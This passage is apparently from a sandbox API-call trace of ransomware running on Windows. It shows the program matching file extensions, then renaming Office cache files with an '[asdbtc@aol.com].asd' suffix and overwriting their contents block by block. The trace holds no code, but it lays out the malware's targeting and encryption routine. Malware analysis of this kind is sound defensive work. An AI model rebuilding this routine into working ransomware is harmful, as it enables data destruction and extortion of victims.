Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.241] lstrlenW (lpString=".1cd") returned 4 [0050.241] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.241] lstrlenW (lpString=".jpg") returned 4 [0050.241] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.241] lstrlenW (lpString=".doc") returned 4 [0050.241] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0050.241] lstrlenW (lpString=".docx") returned 5 [0050.241] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0050.241] lstrlenW (lpString=".pdf") returned 4 [0050.241] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0050.242] lstrlenW (lpString=".xls") returned 4 [0050.242] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0050.242] lstrlenW (lpString=".xlsx") returned 5 [0050.242] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0050.242] lstrlenW (lpString=".ppt") returned 4 [0050.242] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0050.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.242] lstrlenW (lpString=".zip") returned 4 [0050.242] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0050.242] lstrlenW (lpString=".rar") returned 4 [0050.242] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0050.242] lstrlenW (lpString=".bz2") returned 4 [0050.242] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0050.242] lstrlenW (lpString=".7z") returned 3 [0050.242] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0050.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.242] lstrlenW (lpString=".dbf") returned 4 [0050.242] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0050.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.242] lstrlenW (lpString=".1cd") returned 4 [0050.242] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0050.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0050.242] lstrlenW (lpString=".jpg") returned 4 [0050.242] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0050.242] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0050.242] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0050.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.243] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2928955) returned 1 [0050.243] CloseHandle (hObject=0x170) returned 1 [0050.243] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0050.243] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.243] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0050.244] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.244] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0050.244] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0050.244] ReadFile (in: hFile=0x170, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.440] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0050.440] ReadFile (in: hFile=0x170, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.482] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.482] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0050.482] ReadFile (in: hFile=0x170, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.768] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.768] WriteFile (in: hFile=0x170, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0050.792] SetEndOfFile (hFile=0x170) returned 1 [0050.793] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4015bf8 [0050.795] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.795] WriteFile (in: hFile=0x170, lpBuffer=0x4015bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4015bf8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.797] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.797] WriteFile (in: hFile=0x170, lpBuffer=0x4015bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4015bf8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.196] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0051.197] WriteFile (in: hFile=0x170, lpBuffer=0x4015bf8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4015bf8*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.199] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4015bf8 | out: hHeap=0x510000) returned 1 [0051.199] CloseHandle (hObject=0x170) returned 1 [0052.008] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0052.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.008] lstrlenW (lpString=".doc") returned 4 [0052.009] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.009] lstrlenW (lpString=".docx") returned 5 [0052.009] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.009] lstrlenW (lpString=".pdf") returned 4 [0052.009] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.009] lstrlenW (lpString=".xls") returned 4 [0052.009] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.009] lstrlenW (lpString=".xlsx") returned 5 [0052.009] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.009] lstrlenW (lpString=".ppt") returned 4 [0052.009] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.009] lstrlenW (lpString=".zip") returned 4 [0052.009] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.009] lstrlenW (lpString=".rar") returned 4 [0052.009] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.009] lstrlenW (lpString=".bz2") returned 4 [0052.009] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.009] lstrlenW (lpString=".7z") returned 3 [0052.009] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.009] lstrlenW (lpString=".dbf") returned 4 [0052.009] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.009] lstrlenW (lpString=".1cd") returned 4 [0052.009] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.009] lstrlenW (lpString=".jpg") returned 4 [0052.009] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.009] lstrlenW (lpString=".doc") returned 4 [0052.010] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.010] lstrlenW (lpString=".docx") returned 5 [0052.010] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.010] lstrlenW (lpString=".pdf") returned 4 [0052.010] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.010] lstrlenW (lpString=".xls") returned 4 [0052.010] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.010] lstrlenW (lpString=".xlsx") returned 5 [0052.010] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.010] lstrlenW (lpString=".ppt") returned 4 [0052.010] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.010] lstrlenW (lpString=".zip") returned 4 [0052.010] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.010] lstrlenW (lpString=".rar") returned 4 [0052.010] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.010] lstrlenW (lpString=".bz2") returned 4 [0052.010] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.010] lstrlenW (lpString=".7z") returned 3 [0052.010] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.010] lstrlenW (lpString=".dbf") returned 4 [0052.010] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.010] lstrlenW (lpString=".1cd") returned 4 [0052.010] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0052.010] lstrlenW (lpString=".jpg") returned 4 [0052.010] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.011] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0052.011] lstrlenW (lpString="VisioMUI.msi") returned 12 [0052.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.011] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=2797568) returned 1 [0052.011] CloseHandle (hObject=0x170) returned 1 [0052.011] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0052.011] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.011] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0052.012] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.012] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0x0) returned 1 [0052.012] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.012] ReadFile (in: hFile=0x170, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.038] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.038] ReadFile (in: hFile=0x170, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.057] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.057] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.057] ReadFile (in: hFile=0x170, lpBuffer=0x39f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dbfc38, lpOverlapped=0x0 | out: lpBuffer=0x39f0058*, lpNumberOfBytesRead=0x2dbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.477] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.477] WriteFile (in: hFile=0x170, lpBuffer=0x3970020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3970020*, lpNumberOfBytesWritten=0x2dbfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0052.501] SetEndOfFile (hFile=0x170) returned 1 [0052.501] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x4005bf0 [0052.501] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.501] WriteFile (in: hFile=0x170, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.804] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.804] WriteFile (in: hFile=0x170, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.809] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfc7c | out: lpNewFilePointer=0x0) returned 1 [0052.809] WriteFile (in: hFile=0x170, lpBuffer=0x4005bf0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4005bf0*, lpNumberOfBytesWritten=0x2dbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.811] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4005bf0 | out: hHeap=0x510000) returned 1 [0052.812] CloseHandle (hObject=0x170) returned 1 [0052.812] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0052.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.812] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.812] lstrlenW (lpString=".doc") returned 4 [0052.812] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.812] lstrlenW (lpString=".docx") returned 5 [0052.812] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.812] lstrlenW (lpString=".pdf") returned 4 [0052.812] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.812] lstrlenW (lpString=".xls") returned 4 [0052.812] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.812] lstrlenW (lpString=".xlsx") returned 5 [0052.812] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.812] lstrlenW (lpString=".ppt") returned 4 [0052.812] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.813] lstrlenW (lpString=".zip") returned 4 [0052.813] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.813] lstrlenW (lpString=".rar") returned 4 [0052.813] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.813] lstrlenW (lpString=".bz2") returned 4 [0052.813] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.813] lstrlenW (lpString=".7z") returned 3 [0052.813] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.813] lstrlenW (lpString=".dbf") returned 4 [0052.813] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.813] lstrlenW (lpString=".1cd") returned 4 [0052.813] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.813] lstrlenW (lpString=".jpg") returned 4 [0052.813] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.813] lstrlenW (lpString=".doc") returned 4 [0052.813] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.813] lstrlenW (lpString=".docx") returned 5 [0052.813] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.813] lstrlenW (lpString=".pdf") returned 4 [0052.813] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.813] lstrlenW (lpString=".xls") returned 4 [0052.813] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.814] lstrlenW (lpString=".xlsx") returned 5 [0052.814] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.814] lstrlenW (lpString=".ppt") returned 4 [0052.814] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.814] lstrlenW (lpString=".zip") returned 4 [0052.814] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.814] lstrlenW (lpString=".rar") returned 4 [0052.814] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.814] lstrlenW (lpString=".bz2") returned 4 [0052.814] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.814] lstrlenW (lpString=".7z") returned 3 [0052.814] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.814] lstrlenW (lpString=".dbf") returned 4 [0052.814] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.814] lstrlenW (lpString=".1cd") returned 4 [0052.814] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0052.814] lstrlenW (lpString=".jpg") returned 4 [0052.814] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.814] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0052.814] lstrlenW (lpString="ProjLR.cab") returned 10 [0052.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0053.052] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=8265165) returned 1 [0053.053] CloseHandle (hObject=0x21c) returned 1 [0053.053] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0053.053] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.053] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0053.054] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[asdbtc@aol.com].asd"), 